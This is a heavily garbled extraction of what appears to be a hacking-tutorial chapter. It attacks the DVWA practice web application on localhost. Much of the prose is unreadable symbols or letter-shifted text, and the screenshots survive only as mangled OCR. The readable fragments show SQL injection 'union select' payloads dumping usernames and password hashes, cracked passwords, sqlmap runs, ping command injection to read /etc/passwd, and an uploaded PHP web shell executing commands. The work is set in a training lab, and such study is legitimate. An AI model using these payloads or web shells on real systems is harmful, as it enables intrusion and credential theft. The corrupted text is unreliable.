DQG XQLRQVHOHFWQXOOFRQFDWXVHU[DSDVVZRUGIURPXVHUV
Ƿȱ ȱ ȱ ȱ ȱ ȱ Ȃȱ ȱ ȱ ȱ Ƿȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ Śǯŝǯȱ ȱ ¢Ȃ
ȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ śȱ ȯ¢ȱ ¢ȱ ȱ Ƿ
ȱ śȱȱȱ¢ȱȱ¢ȱȱȱȱȱřŘȬȱ¡ȱǰȱȱ
¢ȱȱŖȬşȱȱȬǯ
Ȭȱȱȱȱ¢ȱȱ ȱȱ¢ȱȱśŖȱȱ¢ȱȱ¢Ȃ
ȱ ȱ ȱ ȱ ǯȱ Ȃȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ
DZȦȦǯǯȦȦȬȦȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ¢ȱ ǯȦ
ȏ ȏŗǯŗǯ¢ȱ ǯȱ ȱ ȱ ¢ȱ ȱ
ȱ¢ȱȱȱȱ¢ȱ¡ȱȱȱ¢Ƿ
User ID:
|_5ubmlt
ID: Re l lk ' ami 1-1 union select jftcaU user. exBa. password) from users st
First name:
Surname: admin t
bf4dcc3bbaa7G5d&ld03?7debGB7cf99
ID: ftellk' and 1-1 union select null, concatl user. GxGa. password) from users 2
First name:
Surname: gordonb
Cr993lBC423cb3Bdbf2f.08b3t.7&9;72ee3
ID: Rellk' and 1-1 union select null, coocaf loser, G-xOa, password) from users 2
First name:
Surname?: 1337
3d3533d75ae2c3966d7eed4fcc69316b
ID: Rellk' end 1-1 union select null, concat (user ,e-s5a, password) from users 2
First name:
Surname: pablo
()d 1a 7 d B9 f b bbe4&t ade3de5 c J 1 e9e 9b 7
ID: Rellk* <ind 1-1 union select null, cculCStluSer , 9x03, password) from- users M
First name;
Surname: smithy
bf 4dcc3bbaa76bd6ld3327[]|[?&BB2ef99
),*85( 5HVXOWVIURPLQMHFWLRQUHWULHYLQJXVHUQDPHVDQGSDVVZRUGVIURPWKH³XVHUV´WDEOH
ȱǰȱ ȱȱȱȱȱȱȱ ȱȱȱȱȱȱȱ ¢
ȱ ĝȱ ȱ ǯȱ ȱ ĝȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ
ȱ ¡ȱ ȱ ȱ ¢ȱ ǻ śȱ ȱ ȱ Ǽȱ ȱ ȱ
ȱȱ ȱȱǯȱ ȱǰȱȱȱ ȱȱȱȱ
ȱȱȱȱĴȱȱȱȱȱȱȱȱȱȱ
ȱ ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǻ Ǽȱ ȱ ¢ȱȱ ȱ Ȃȱ ȱ ȱ ǯȱ
ȱ ȱ ȱ ¢ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¡ȱ ęȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ
ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ
ȱȱȱȱȱ ȱǯȱȱȱȱȱȱ¢ȱȱ¡ȱę
ȱȱȱȱ ȱȱȱ¢ȱȱȱ ȱȱȱȱȱȱǯ
ȱȱȱȱȱęǰȱȱȱ ȱ ȱȱ ȱ ȱȱ
ǯȱ ȱ ¢ȱ ȱ ȱ ȱ ęǰȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ę
ȱȱ ȱȱȱȱȱȱȱ ȱȱȱŚǯŞǯ
A v v ‘unsaved Document l
file Edit View Search Tools Documents Help
- gedit
),*85( -RKQWKH5LSSHULQSXWILOHFUHDWHGLQJHGLW
2IIOLQH3DVVZRUG&UDFNLQJ
ȱ ȱ ȱ ǰȱ ȱ ȱ ȱȱ ¢ȱ ¢ȱ ¡ȱ ȱ
ȦȦ Ȧȱ ǯȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ę
Ȃȱǰȱ¡ȱȱ ȱǯ
MRKQIRUPDW UDZ0'GYZDBSZW[WVKRZ
ȱȬȬȱĚȱęȱ ȱ¢ȱȱ ȱȱȱȱȱȱęȱȱȱ ȬȬ
ȱĚȱ ȱ¢ȱȱȱȱ ȱȱȱȱ¢ȱǯȱ
ȱȱȱȱȱ¢ȱ ȱȱȱȱDZ ȱȱ
ȱȱȱȱȱǯȱȱ¡ǰȱȱȱ ȱ ȱ¢ȱǯ
DGPLQSDVVZRUG
JRUGRQEDEF
FKDUOH\
SDEOROHWPHLQ
VPLWK\SDVVZRUG
ȱȱǰȱ¢ȱȱ ȱȱȱ ȱȱ¢ȱȱȱǯȱ ȱ
ȱ¢ȱǷȱȱ¢ȱȱȱȱȱ ȱȱ¢ȱȱȱ ȱȱȱ
ȱȱ ȱ¢ȱ¢ȱǯȱ ȱȱȱȱȱ ¢ȱ
ȱȱȱ¢ȱȱ ȱȱȱȱȱ ȱȱȱǯȱ
¡ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱ¢ȱȱȱ ǰȱȱǰȱȱȱ ǯȱ Ȃȱ ¢
ȱȱȱȱ¢ȱȱȱȱĴȱȱȱȱ¢ȱȱȱ¢ȱę
ǯ
VTOPDS
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱǰȱ ȱ ȱ ȱ ¢
ȱ ȱȱȱ ȱȱȱȱ ȱȱDZȦȦǯǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȦȦȦ
¢ǯȱȱȱȱȱȱȱȱ¡ȱ ȱȱĚ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱ¡ȱȱȱ ȱǯ
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ȱ ȱ
ȱ ȱ ¢ȱ ȱȱ ȱ ȱ ȱ ĚDzȱ ȱ ȱ ȱ ȱ ȱ Ě
DZ
ŶȱȬȱȱ¢ȱȱȱȱȱȱȱǯ
ŶȱȬȬȱȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱ
ǯ
ŶȱȬȱȱȱȱȂȱǯ
ŶȱȬȬȬȱȱȱȱȱȱ¢ȂȱǻǼȱȱǯ
ŶȱȬȬȬȱȱȱȱȱǯ
ŶȱȬȬȱȱȱȱȱȱȱȱ ¢ȱȱȱȱ¢ȱȱǯ
ŶȱȬȬȱȱȱȱȱȱ¢ȱǯ
ŶȱȬȬ ȱȱȱȱȱȱ ȱȱȱ¢ȱǯ
ŶȱȬȱȱ¢ȱ ȱȱȱȱȱȱȱȱǯ
ŶȱȬȬȱȱȱȱȱȂȱǯ
ŶȱȬȬȱȱȱȱȱȱȱȱȱȱȱǯ
ŶȱȬȱȱ¢ȱ ȱȱȱǯ
ŶȱȬȬȱȱȱȱȱȱȱȱǯ
ŶȱȬȱȱ¢ȱ ȱȱȱǯ
ŶȱȬȬȱȱȱȱȱȱȱȱǯ
ŶȱȬȱȱ¢ȱ ȱȱȱȱǯ
ŶȱȬȬȱȱȱȱȱȱȱȱǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ěȱ ȱ ȱ ¡
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ǻǼȱ ǯȱ ȱ ȱ ¢
ȱȱȱȱȱ ȱȱȱȱ ǯȱȱȱȱ ȱȱȱ
ȱ ȱ ǰȱ ȱ ȱ ęȱ ȱ ¢ȱ ȱ ȱ ȱ ěǰȱ ȱ ȱ ȱ ¢
¡ȱǯȱȱ¢ȱ¡¢ȱȱęȱȱȱȱȱ ȱȱȱ
ȱ ȱȱȱ ǯȱ ȱ¢ȱȱ¢ȱȱǻŘȱȱȱ¡Ǽȱȱȱ
ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ
ȱȱȱŚǯşǯ
v x
burp suite free edition vl.4.01
burp intruder repeater window .about
target j proxy j' spider [' s canne
1
1'
intruder |f repeater f sequencer decoder 1 comparer ]' optior
| intercept options history
request to http:tfl2".0.0.1:80
),*85( 5DZUHTXHVWRI64/LQMHFWDEOHSDJHLQ'9:$
ȱȱ ȱȱȱȱȱȱǻ
ȱ ȱ¢Ǽǰȱȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ǯȱȱȱ¢ȱȂȱȱȱȱȱǰȱȱȱ ȱȱęȱȱ¢ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱȬȬȱ Ěȱ ȱ
ȱ ȱ ȱ ȱȬȱ Ěȱ ȱǯȱ ȱ ȱǰȱ ȱ ȱ ȱ
¢ȱ¢ȱ¡ȱȱȱȦȦȦȱǯ
ȱȱȱȱȱȱȱȱ¢ȱ¡ȱȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ
ǯ
VTOPDSS\XȱKWWSYXOQHUDELOLWLHVVTOL"LG 6XEPLW 6XEPLW
FRRNLH 3+36(66,' WOUNYTOVNNTDFQHRITVHFXULW\ ORZEFXUUHQWGE
ȱǰȱȱ¡ǰȱȱ ȱ ȱȱ ȱ ȱ¡ȱȱ ȱ
ȱ ȱ ȱ ȱȱ ŚǯŗŖǯȱ ȱ ȱ ȱ ęȱ ȱ ȱ ǰ
ȱȱȱȱǯ
),*85( VTOPDSUHVXOWVIRUGDWDEDVHEDQQHUDQGGDWDEDVHQDPH
ȱȱȱȱȱȱ ȱǰȱȱ ȱȱȱŚǯŗŗǰȱȱȱ
ǯ
r tTtT1]
),*85( VTOPDSUHVXOWVIRUWDEOHVLQWKH³GYZD´GDWDEDVH
back
*ÿ
+
avatar va rctiar(76)
first name varcharUS]
last name varetiar(15)
password varctiar(32)
user varcbar(15}
userid int (6}
+
),*85( VTOPDSUHVXOWVIRUFROXPQVLQWKH³XVHUV´WDEOHLQWKH³GYZD´GDWDEDVH
ȱȱ ȱȱ¢ȱ ȱȱȱȱȱǻǼDZǰ
ȱŘȱȱ¢ȱȱ¡ȱȱȱȱȱȱȱ¢ȱ
ȱȱȱǯ
ȱ ȱ ¡ȱ ȱ ȱ ȱ ěȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ
ȱ ȱǯȱ ȱ ȱ ¢ȱ ȱ ȱ ȱȱĚȱȱȱ
ȱȱȱȱ ȱȱǷ
VTOPDSS\XȱKWWSYXOQHUDELOLWLHVVTOL"LG 6XEPLW 6XEPLW
FRRNLH 3+36(66,' WOUNYTOVNNTDFQHRITVHFXULW\ ORZEFXUUHQWGE
'GYZDWDEOHV7XVHUVFROXPQV&XVHUSDVVZRUGGXPS
ȱȱȱȱȱȱ¡ȱ ȱȱȱ ȱ
¢ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ǰȱ ȱ ȱ ȱ ¡ǰȱ ȱ
ǯ
ŗǯȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱ
ȱ ȱȂȱ
ȱǯ
Řǯȱȱȱȱ¡¢ȱȱȱȱȱȱȱȱȱȱ
ȱǯ
řǯȱȱȱȱ¡ȱǰȱȱȱǰȱȱȱȱ¡ǯ
2SHUDWLQJ6\VWHP&RPPDQG,QMHFWLRQ9XOQHUDELOLWLHV
ȱ Ĵȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ǯ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ǻ¢
ȱȱ¡ȱȱǯ¡ȱȱ Ǽȱȱȱȱȱ ȱǯȱ ȱȱǰȱȱ
ȱȱȱȱȱ¢ȱȱȱȱ¡ȱȱȱȱȱ ¢
ȱ ȱ ǯȱ ȱ ¡ǰȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱȱȱȱȱ¢ȱȱȱȱȱȱǰȱȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ǯȱ ȱ ȱ ȱ ȱ
ǰȱȱȱ ȱ¢ȱ¡ǯ
26&RPPDQG,QMHFWLRQ)RU+DFNHUV
ȱȱȱ¢ȱȱȱ¢ȱȱȱȱ¢ȱȱǰ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ¡ǯȱ ȱ ¢
ȱ ȱȱȱȱȱȱǰȱȱȱȱȱȱȱȱ
¢ȱȱȱȱȱǰȱȱDZ
Ŷȱȱȱ
Ŷȱȱȱȱȱȱȱǻȱȱȱ¢Ǽ
Ŷȱȱȱȱǻȱ¡ȱ¢ȱȱȱȱȱǼ
ȱ ȱ Ĵȱ ȱ Ȧ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ
ȱ ȱ ¢ȱ ȱ ǰȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ęǰȱ ȱ ¢
ęǯȱȱȱȱȱȱȱȱȱĴȱȱ£ȱ
ȱ¢ȱ¡ȱȱȱȱęȱȱȱȱȱ ȱǯȱ ǰȱȱ
ȱȱȱȱȱȱȱǰȱ¢ȱȱȱ ȱȱ
Ȭȱȯȱȱȱȱ Ƿȱ
ǰȱȱȱȱ¢ȱȱȱȱȱǯȱ ȱ
ȱȱȱȱęȱ ȱȱȱȱȱ ȱȱǰȱȱ
ȱȱ ǰȱȱ¢ȱȱȱȱĴȱȱ ȱȱȱȱ
ȱ¢ȱȱȱȱȱȱ ȱȱȱǯ
ȱȱ¡ȱǰȱ¢ȱȱȱȱȱȱȱȱȱȱ ȱ
ȱȱȱȱȱȱ ȱȱȱȱȱȱȱ
ȱȱǯȱ ȱ¢ȱȱȱȱȱȱ ȱǰȱ¢ȱȱȱęȱȱ ȱ
ȱȱ¢ȱȱȱȱȱǯȱ ȱȱȱȱȱǰ
¢ȱȱȱ¢ȱȱȱȱȱȱ¢ȱȱȱȱȬ ȱȱ
ǯȱ ȱ¢ȱȱ¢ȱȱȱȱȱǰȱ¢ȱȱȱȱ
ȱ ȱ ȱȱ ȱ ¢ȱ ȱ ȱȱ ȱ ȱ ǯȱ ȱ ȱ
ȱ¢ȱȱȱ¢ȱ ȱǻȱȱȱ¡Ǽȱ¢ȱȱȱ
ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰ
ȱȱȱǰȱȱȱȱȱȱȱȱȱȱ ȱǯ
ȱ ȱ ȱ ǰȱ ¢ȱ ȱ ȱ ȱȱ ȱ Ȧȱ ȱ
ŗŖŖ
ȱȱȱȱȱȱȱ ȱȱȱ ȱȱ
ŗŖŖǯȱȱ
ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ¢ȱ ȱ ȱȱ
ȱȱȦȱȱȱȱȱȱǻȱȱȱ
¡Ǽȱ ¢ȱ ȱ ȱȱ ȱ ȱ Ȧȱ ǯȱ ȱ ȱ
ȱ ȱȱ¢ȱȱȱȱȱȱ ȱǯ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ ǻȱ ȱ ¡ȱ
ȱ ȱ Ǽǰȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȦȦ ȱǯ
2SHUDWLQJ6\VWHP&RPPDQG,QMHFWLRQ$WWDFNV
ȱ ȱ ȱ ¡ȱ ȱȱ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ¢ȱȱȱȱȱ¢ȱȱȱĴǯȱȱ
¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ǯȱ ȱ ȱ
ȱȱȱȱȱȱ¢ȱȱ¡ȱȱȱȱ ȱ¢ȱȱ
ȱ ǯȱ ȱ ȱ ȱ ȱȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
¢ȱȱȱȂȱ ȱȱ ȱȱȱŚǯŗŚǯ
-
64 bytes from 127.0,0.1; nip spq = 3 ttl-64 nme=r{i.96fi ns
64 bytes from 177.9.6.1: itmp seq-li 11 1. Ci 4 t J irve-B . 9 5 ? s.
),*85( ([HFXWLQJDSLQJFRPPDQGDJDLQVWORFDOKRVW
ȱ ȱ ȱ ȱ ȱȱ ȱ ȱȱ ȱ ¢ȱ
ȱ¡ȱȱȱǯȱ ȱȱǰȱ¢ȱȱȱȱȱ¡
ȱ¢ȱȱȱǯȱ ȱȱ¢ȱȱȱŗŘŝǯŖǯŖǯŗȱ ȱȱ
ǰȱ¢ȱȱȱȱȱȱ¢ȱǰȱȱȱŗŘŝǯŖǯŖǯŗDzȱȱȱȱ
ȱ¢ȱǰȱȱ ȱȱȱŚǯŗśǯ
Ping for FREE
Enler an IP address Wow
Sut-.mil
**-
127.0.6.1 piny statistics
3 packets transmitted, 3
rt t *iiri/avy/itiex/:ndev
help
index. php
- received. Bit packet loss, iifliu l99Bms
0.03270.019/0, 044/0.007 ms
source
),*85( $SSHQGLQJRQDQOVFRPPDQGWRDSLQJFRPPDQG
ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ¢ȱȱ ŗŘŝǯŖǯŖǯŗȱ ȱ ¢ȱ ȱ
ǯȱȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ
ȱ ȱ ȱȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ¢ȱ ǰȱ ¡ȱ ȱ ǰȱ ȱ ¢ȱ
ȱȱȱȱȱȱȱǯȱ ȱȱǰȱ¢ȱȱ ȱȱȱȱ
ȱȱȱȱ ȱȱȱ¢ȱȱ¡ȱ¢ȱȱ
Ƿȱ ȱ ȱ ȱ ȱ ¢ȱ ęǰȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ¢
ȱȱŗŘŝǯŖǯŖǯŗDzȱȱȦȦ ȱǰȱȱ ȱȱȱŚǯŗŜǯ
submit
),*85( $SSHQGLQJRQDFDWFRPPDQGWRDSLQJFRPPDQGWRUHYLHZWKHV\VWHPSDVVZRUGILOH
ȱȱ ȱȱȱȱȱȱ¡ȱȱȱȱȱ
ȱ ȱ ȱ ǰȱ ǰȱ ȱ ȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ
ȱ ¢Ȃȱ ȱ ȱ ¢Ȃȱ ȱ Ȭȱ ǯȱ ǰȱ ¡ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ Ȭ¡ȱ ȱ ȱ ǯ
ȱȱȱȱ¢ȱȱȱȱȱ ȱȱȱ
ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ ȱ ȱ ȱ ǯȱ
ȱ ȱ ȱ £ȱ Ȭȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ¡ȱ ȱ ȱȱ Ȭȱ ȃ
Ȅȱȓǯǯȱ ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ
ȱ ȱ Ȭȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ¢ȱ
ȱ¢ǯ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ęȱ ȱ ȱ ¢
ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ¢
¢ȱ¢ȱȱȱǰȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ
ȱȱȱȱȱȱȱȱȱȱȱ ȱȱȱȱ¢ȱǯ
ȱȱȱȱȱȱȱ¢ȱȱ¢ȱ¡ȱȱȱȬȱȬȱ ȱȬ
ŚŚŚŚȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱȱ Ȭȱ ȦȦȱ ȱ ŚŚŚŚ
ǯȱ ȱ ȱDZȦȦǯǯȦŘŖŗŗȦŖşȦȬȬȬ
ǯȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱȱȱ¢Ƿ
:HE6KHOOV
ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ǰ
ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ȱ ȱ Ĵȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ęȱ
ȱ ȱ ȱ ¢ȱ ȱ ǰȱ ȱ ȱ
ǰȱ ǰȱ ǰȱ ȱ ȱ ȱ
ȱȱǯȱȱȱȱȱȱȱȱȱȱȱ
ȱęȱȱȱ ȱȱȱȱȱȱȱ ȱȱȱȱȱȱ ǯȱ ȱ
ȱȱęȱȱȱȱǰȱȱ ȱȱȱȱȱ ȱ
¡ȱ¢ȱȱȱȱ¢ȱȱȱ¢ǯȱ ǰȱ£
ȱȱ ȱȱȱȱȱȱȱȱȱȱęȱȱȱȱȱĴ
ȱ ǯȱ ȱ ¡ǰȱ ȱ ȱ ȱ Ȃȱ ȱ ǯ ȱ ǰȱ ȱ ȱ
¢Ȃȱȱȱȱȱȱȱȱǯ
ȱ ǰȱ ¢ȱ ȱ ȱ ȱ
ȱ ȱ ȱ
DZȦȦǯȦȦ¡Ȧȱ ȱ ȱ ȱ ȱ ¢ȱȱ ¢ȱ
ȏŖȏŝȏȏǯ£ǯȱ ¢ȱ £ȱ ȱ ȱ ¢ȱ ȱ ȱ Ȭȱ ȱ ȱ
ǯȱęȱȱ¢ȱȱǯȱ ¢ǰȱ¢ȱ ȱ ȱȱȱȱęȱȱȱ
ęȱȱȱȱȱȱȱȱȱȱȱǯȱȱȱȱĴǰȱ ȱ ȱȱ
ȱȱ¡ȱȱ ȱȱ ȱ¢ȱȱȱ¢ȱęȱȱȱ ȱ ȱ
ȱ ȱȱȱŚǯŗŝǯ
Vulnerability: File Uploa
&
H«III
Comm.-no ExotuUon
x File Upload
CSRF
File Inclusion i . root
SOL injection
Places Name r Sire Modified
5 CL liifrcrign (guild)
Upload
Search is ' DCSfcTQp 07/10/2012
O Potently Used SOOworet-paHwonds.txt 3.4 KB 07/11/2012
XSS foUcctfd J r n»t DW/A install.* h 2.7 KB 07/10/2012
12 bytes 07/11/2012
XSS slerctl
1 113 Desktop aYvua_users.txt
About
),*85( 8SORDGLQJDZHEVKHOOWRWKH'9:$ZHEVHUYHU
¢ȱȱȱ ȱȱȱȱ ȱȱȱȱȱȱȱ
Ĵǰȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ Ȃȱ
¢ȱȱ ȱȱȱȱęȱȱȱȱ ȱǯȱȱ
ȱȱȱȱǰȱȱ ȱȱȱȱ ȱȱ
ȱ ęȱ DZȱǯǯȦǯǯȦȦȦȏŖȏŝǯȱ ¢ȱ Ƿȱ
ǰȱ
ȱ ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ȱ
ȱ ȱ ȱ ęȱ ȱ ǯȱ ȱ ȱ ȱ ȱęȱ Ȧȱ Ȭȱ ȏŖȏŝǯ
ȱȱȱȱȱęȱȱȱȱȱȱ ȱȱȱȱ ȱ
ȱŚǯŗŞǯ
ft J if root@bt: /
File Edit View Terminal Help
rootÿljL:/'# find / -name Shell yfl 7.php
/ root/SheUjv0_7 php .
/v3r/www/hackabWt/ploads/SheU v9 7 , php
/tmp/VMwa reDnD/da6c24a6/Shell vij_7 , php
rootÿbt : /#
),*85( )LQGLQJWKHZHEVKHOOILOHRQWKHZHEVHUYHU
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ěȱ ȱ ȱ
DZȱ ȱ ȱȱ ¢ȱ ȱ ȱ ¢ȱ ȱ ȱ ǰȱ ȱ
ȦȦ ȦȦȱ ¢ȱ ȱ ȱ ȱ ǰȱ ȱ ȱ ȱ ȱ ¢ǯȱ £
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ęȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱĴȱȱȱȱȱ ȱȱȱ ȱȱȱȱęȱǯȱ
ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ ȱ ȱ ȱ
DZȦȦŗŘŝǯŖǯŖǯŗȦȦȦȏŖȏŝǯȱȱȱ¡ȱȱȱ ȱȱȱ
ȱȱȱȱȱȱ ȱǯ
ȱ ¢ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱęȱȱǯȱȱ¡ǰȱȱ¢Ȃȱ ȱȱȱȱǰȱ¢ȱ
ȱȱȱȱ ȱȱȱȱȱȱǯȱȱȱȱȱȱǯ
ȱȱ¢ȱȱȱȱȱȱȱȱȱȱȱȱ¢ȱȱ¢ȱȱǯ
ȱ¢ȱ ȱȱȱǰȱ¢ȱȱȱȱȱ ȱȱ ȱ ȱ
ȱ ȱ ȱ ȱ ǯȱ ȱ ȱ ȱ ȱ ȱ ¢ȱ
ȱȱ¢ȱȱȱ ȱȱĴȱȱȱȱȱȱȱȱǯȱ
Śǯŗşȱ ȱȱȱȱȱȱȱ ȱȱȱȱȱǯ
§. :
- 127.0.0.1 +
. . 127.0.0.1 Mds/Stieii_v0_7.php *<
giaCkTraCk Linux ||Offers i v e Setun ty Ex pi 0 11 DB \ Aire roc k ng jcm i-a FU
Quick Commands ;i p i
Ocarhittn B »
i
Oct' kHcrv * * I
Can 1 function?
Ctt stiver into jT] I V j j n
Read /etc/piHwd hr-liti H !,
Open p*rti
Command hlsto
sixflhetft
m
FT [r] ,i M [rl jJ'J [L .1 ft] [-1
/i IL-H [l [ÿI ill
*
r IT-I
m [VI [ÿ_ 1 r-i1, [ÿÿj1.
About
AJax/PHP
Command Shell
try InsnftSt
Vwmn 0 7ft / Y*rfwYrnJ nj c n tfcrt / y phud i /
),*85( 5HYLHZLQJWKH³5HDGPH´RIWKHXSORDGHGZHEVKHOO
ȱȱȱ¢ȱȱȱȱ ȱȱȱȱȱ ȱȱȱ¢
¡ȱȱȱȱȱȱ¢ȱȱȱ Ƿȱ ȱ¡ȱȱ
ȱ ȱ ȱ ȱ ȱ ȱȱȱ Ĵȱ ȱ ȱ ȱȱȬȱȩȱȱȬȱ
ȱ¡ȱȱȱ ȱǰȱȱ ȱȱȱŚǯŘŖǰȱȱȱȱȱ
ȱȱȱǯ
-
* Command Shell 127.0.0.1 MoztHa Fi ref cot
File Edit View History Bookmarks Tools Help
-
Command Shell - 127.0.0.1 X 404 Not Found +
S 127.0.0.1
_ _ :oa
j_t
2 Back Trac k u nux []Otf ens i ve Securi ty gjE x ploit- DB Aircrac k - ng gj SomaFM
[Execute command] [Upload file) [[hinge directory] [File brawler] [Create File]
Quick Commands ,
dal a-# netstat -an | grep -i listen
01 r Screen 0 0 127.0,0.1:7337 0.0. 0,0:* LISTEN
tip 0 0 127.0.0,1:3306 O.G.O.O:* LISTEN
Clear Hhrtory
tep 0 0 0 0-0-0:80 0-0 0 Q:* LISTEN
[ Cen 1 function? tcpG 0 0 ::1: 7337 * LISTEN
ItcpS G 0 127.0,0,1:0030 s t i* LISTEN
),*85( QHWVWDWUHVXOWVIRURXU'9:$ZHEVHUYHU
ȱȱȱ¢ȱ ȱȱ ȱ¢ȱȱȱ¡ȱȱȱȱ
ȱȱȱȱȱȱȱ¢ȱ ȱȱȱȱȱȱ¢ȱ ǯȱ
ȱ¢ȱȱȱȱȱĴȱȱ ȱȱȱȱȱ ȱȱ
ȱȱȱȱǯȱȱŚǯŘŗȱ ȱȱȱȱȱȱȱ¢ȱȱ
ǯ¡ȱȱ ȱȱ¢ȱȱȱȱ ȱǷ
[Execute command] [Upload file] [Change directory] [Filebrc wser] [Create File]
ww -data-# Is
IShel.ljfG_7.php
Wvva_eniail .png
WWW -data-# Is
|SheU_vG_7.php
dvwa_email .png
[goats
J
WWW -data-# Is
bah.tKt
),*85( ([HFXWLQJFXVWRPFRPPDQGVRQWKH'9:$ZHEVHUYHUYLDWKHZHEVKHOO
ȱ¢ȱȱȱȱ ȱȱȱ¢ȱ ȱȱ
ȱ ¢ȱ ȱ ¢ȱ ȱ ȱ ȱ ¡ȱ ȱ ȱ ȱ ǯȱ ȱ
ȱȱȱȱ ȱȱȱ¢ȱěȱȱȱ ȱǰȱȱ¢ȱ
Ĝȱ ȱ ǯȱ ȱ ȱ ȱ ȱ Ȭȱ ȱ ȱ ȱ ȱ ȱ ȱ ¢
ȱȱȱȱȱ ȱȱ¢ȱȱ ȱȱȱ
ȱȱ ȱ ȱȱȱȱȱȱȱȱȱ ȱǯ
